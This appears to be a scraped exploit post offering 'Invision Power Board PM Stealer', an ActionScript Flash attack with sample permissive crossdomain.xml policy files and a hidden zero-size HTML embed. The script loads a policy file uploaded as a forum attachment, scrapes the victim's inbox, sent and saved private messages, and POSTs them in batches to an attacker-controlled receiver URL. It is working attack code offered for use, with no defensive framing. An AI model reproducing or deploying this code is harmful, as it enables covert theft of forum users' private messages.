<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="www.site.com" /></cross-domain-policy>

<?xml version="1.0"?><cross-domain-policy><allow-access-from domain="*" secure="false" /></cross-domain-policy>

Accept-Charset, Accept-Encoding, Accept-Ranges, Age, Allow, Allowed, Connection, Content-Length, Content-Location, Content-Range, Date, Delete, ETag, Expect, Get, Host, Keep-Alive, Last-Modified, Location, Max-Forwards, Options, Post, Proxy-Authenticate, Proxy-Authorization, Public, Put, Range, Referer, Retry-After, Server, TE, Trace, Trailer, Transfer-Encoding, Upgrade, URI, User-Agent, Vary, Via, Warning, WWW-Authenticate, x-flash-version

//----------------------------------

// Got a cookie wookey?

// Small security risk currently

// Until we add in the auth key to forms

//----------------------------------

/*

$cookie['admin_session_id'] = $this->ipsclass->my_getcookie('ipb_admin_session_id');

if ( $cookie['admin_session_id'] )

{

$this->ipsclass->input['adsess'] = $cookie['admin_session_id'];

$this->session_type = 'cookie';

}*/

/*

Invision Power Board PM Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals inbox, sent and saved PMs

Email: ooohoow@gmail.com | Icq: 100732

*/

// Params:

// dataReceiverUrl:String = Url of data receiving script

// policyFileUrl:String = Policy file url (attachment url)

// [optional] messagesUntilDump:Number = Number of PMs per one dump

if(_level0.dataReceiverUrl && _level0.policyFileUrl) {

if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }

import flash.external.ExternalInterface;

var messagesContent:Array = new Array();

var allPmLinks:Array = new Array();

var tmpPmLinks:Object = new Object();

var foldersDone:Number = 0;

// Loading policy file / Expanding 'sandbox'

System.security.loadPolicyFile(_level0.policyFileU rl);

var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));

// Array of forum's folders links

var folders:Array = new Array(

'/index.php?CODE=01&act=Msg&VID=in', // Inbox

'/index.php?CODE=01&act=Msg&VID=sent', // Sent

'/index.php?act=Msg&CODE=20'); // Saved

// Getting lists of messages in folders

for(var i in folders) {

serverRequest(

forumUrl + folders[i],

'',

'GET',

onGetMessageList);

}

}

function onGetMessageList(loadedData:String):Void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

// Parsing received data for PM links

// Using external Js Regexp (Flash player < 9 doesn't support Regexp)

var pmLinks:Object = ExternalInterface.call(

'function(data) { return data.match(/(index\\.php\\?act=Msg&CODE=03&VID=[a-z]+&MSID=\\d+)/igm); }',

loadedData);

// Deleting similar links

for(var i in pmLinks) {

tmpPmLinks[pmLinks[i]] = null; }

foldersDone++;

if(foldersDone == folders.length) {

// Concatenation (Object) tmpPmLinks to (Array) allPmLinks

for(var i in tmpPmLinks) {

allPmLinks.push(i); }

sendGetLinkRequsts()

}

}

function sendGetLinkRequsts():Void {

if(allPmLinks.length) {

if(allPmLinks.length < messagesUntilDump) {

messagesUntilDump = allPmLinks.length; }

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

serverRequest(

forumUrl + '/' + allPmLinks.shift(),

'',

'GET',

onGetMessageContent);

}

}

}

function onGetMessageContent(loadedData:String):Void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

serverRequest(

_level0.dataReceiverUrl,

'data=' + escape(messagesContent.join('<br>')),

'POST');

messagesContent = new Array();

sendGetLinkRequsts()

}

}

function serverRequest(

requestUrl:String, vars:String, method:String, onDataFunc:Function):Void {

var sender:LoadVars = new LoadVars();

var loader:LoadVars = new LoadVars();

sender.decode(vars);

loader.onData = onDataFunc;

sender.sendAndLoad(requestUrl, loader, method);

}

// EOF

<OBJECT

id="fl"

classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"

width="0"

height="0"

codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">

<PARAM name="movie" value="ipbPMStealer.swf">

<PARAM name="FlashVars"

value="dataReceiverUrl=http://hsite.com/cDataReceiver.php&policyFileUrl=http://vsite.com/ipb/index.php?act=attach%26type=post%26id=1">

<EMBED

name="fl"

src="ipbPMStealer.swf"

FlashVars="dataReceiverUrl=http://hsite.com/cDataReceiver.php&policyFileUrl=http://vsite.com/ipb/index.php?act=attach%26type=post%26id=1"

width="0"

height="0"

swLiveConnect="true"

pluginspace="http://www.macromedia.com/go/flashplayer/">

</EMBED>

</OBJECT>